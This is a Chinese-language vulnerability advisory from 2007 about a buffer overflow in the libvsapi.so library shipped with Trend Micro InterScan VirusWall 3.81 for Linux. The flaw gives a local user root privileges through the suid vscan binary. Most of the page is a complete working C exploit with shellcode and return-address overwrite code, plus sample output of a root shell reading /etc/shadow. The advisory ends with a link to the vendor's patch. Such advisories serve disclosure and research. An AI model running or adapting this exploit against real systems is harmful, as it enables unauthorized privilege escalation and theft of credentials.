发布日期：2007-01-25
更新日期：2007-01-26

受影响系统：

Trend Micro Interscan Viruswall (Linux) 3.81

描述：

---

BUGTRAQ  ID: 22240

Trend Micro VirusWall是一款软件的网关防火墙解决方案。

VirusWall 3.81 for Linux产品中所捆绑的libvsapi.so库存在缓冲区溢出，本地攻击者可能利用此漏洞获取root用户权限。

如果能向使用该库的应用程序发送超长的命令行参数的话，就可以触发溢出，导致执行任意代码。这种应用程序的一个示例是vscan。由于vscan默认下设置了set suid root权限，因此攻击者可以利用这个漏洞获得root用户权限。

<*来源：Sebastian Wolfgarten （sebastian@wolfgarten.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=116976160311584&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*

    Title: Local root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)

    Author: Sebastian Wolfgarten / sebastian@wolfgarten.com / http://www.devtarget.org

    Date: January 3rd, 2007

    Severity: Medium

    Description:

    The product "InterScan VirusWall 3.81 for Linux" ships a library called
    "libvsapi.so" which is vulnerable to a memory corruption vulnerability.

    One of the applications that apparently uses this library is called "vscan"
    which is set suid root by default. It was discovered that this supporting
    program is prone to a classic buffer overflow vulnerability when a particularly
    long command-line argument is being passed and the application utilizes the flawed
    library to attempt to copy that data into a finite buffer.

    As vscan is set suid root, this leads to arbitrary code execution with root level
    privileges. However the severity of this vulnerability is probably "medium" as by default
    the vscan file is only executable by the root user as well as members of the "iscan"
    group which is created during the installation of the software.

    Example:

    sebastian@debian31:~$ ./tmvwall381v3_exp

    Local root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)
    Author: Sebastian Wolfgarten, <sebastian@wolfgarten.com>
    Date: January 3rd, 2007

    Okay, /opt/trend/ISBASE/IScan.BASE/vscan is executable and by the way, your current user id is 5002.

    Executing /opt/trend/ISBASE/IScan.BASE/vscan. Afterwards check your privilege level with id or whoami!
    Virus Scanner v3.1, VSAPI v8.310-1002
    Trend Micro Inc. 1996,1997
        Pattern number 4.155.00

    sh-2.05b# id
    uid=5002(sebastian) gid=100(users) euid=0(root) groups=100(users),5001(iscan)

    sh-2.05b# cat /etc/shadow

    root:***REMOVED***:13372:0:99999:7:::
    daemon:*:13372:0:99999:7:::
    bin:*:13372:0:99999:7:::
    sys:*:13372:0:99999:7:::
    sync:*:13372:0:99999:7:::
    games:*:13372:0:99999:7:::
    man:*:13372:0:99999:7:::
    lp:*:13372:0:99999:7:::
    mail:*:13372:0:99999:7:::
    news:*:13372:0:99999:7:::
    uucp:*:13372:0:99999:7:::
    proxy:*:13372:0:99999:7:::
    www-data:*:13372:0:99999:7:::
    backup:*:13372:0:99999:7:::
    list:*:13372:0:99999:7:::
    irc:*:13372:0:99999:7:::
    gnats:*:13372:0:99999:7:::
    nobody:*:13372:0:99999:7:::
    Debian-exim:!:13372:0:99999:7:::
    sshd:!:13372:0:99999:7:::
    postfix:!:13500:0:99999:7:::
    mysql:!:13500:0:99999:7:::
    vmail:!:13500:0:99999:7:::
    amavis:!:13500:0:99999:7:::
    iscan:!:13500:0:99999:7:::
    sebastian:***REMOVED***:13500:0:99999:7:::

    Credits:

    Must go to Aleph One for the shellcode and mercy for bits of the code.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define NOP 0x90
#define vscan "/opt/trend/ISBASE/IScan.BASE/vscan"

// Shellcode by Aleph One
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
           "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

    __asm__("movl %esp, %eax");

}

int main(int argc, char *argv[], char **envp) {

    // Size of the vulnerable buffer (1116 + 4 bytes to overwrite EIP)
    int buff = 1120;

    // Address of the shellcode
    unsigned long addr;

    // Temporarily used to add nops etc.
    char *ptr;

    printf("\nLocal root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)\n");
    printf("Author: Sebastian Wolfgarten, <sebastian@wolfgarten.com>\n");
    printf("Date: January 3rd, 2007\n\n");

    // Check permissions on vscan executable, if this fails exploitation is infeasible.
    if (access(vscan, 01) != -1) {

        printf("Okay, %s is executable and by the way, your current user id is %d.\n",vscan,getuid());

    // Allocate memory for filling the buffer
        if((ptr = (char *)malloc(buff)) == NULL) {

        printf("Error allocating memory!\n");
        exit(-1);

    }

    // Determine the address of the shellcode with the inline assembly above
        addr = get_sp();

        // Add the NOP's to the buffer
        memset(ptr, NOP, buff);

        // Add the shellcode
        memcpy(ptr + buff - strlen(shellcode) - 8, shellcode, strlen(shellcode));

        // The return address
        *(long *)&ptr[buff - 4] = addr;

        // Off we go, execute the vulnerable program
        printf("\nExecuting %s. Afterwards check your privilege level with id or whoami!\n",vscan);
        execl(vscan, "vscan", ptr, NULL);

    } else {

        printf("Exploit failed. You seem not to have enough privileges to execute %s, sorry.\n",vscan);
    printf("Hint: Ask your local admin to add yourself to the iscan group or let him make the vscan binary world-executable.\n");
    printf("Then try again :-)\n\n");
    exit(1);

    }

    return 0;

}

建议：

---

厂商补丁：

Trend Micro
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.trendmicro.com/download/product.asp?productid=13&show=patch

浏览次数：3590
严重程度：0（网友投票）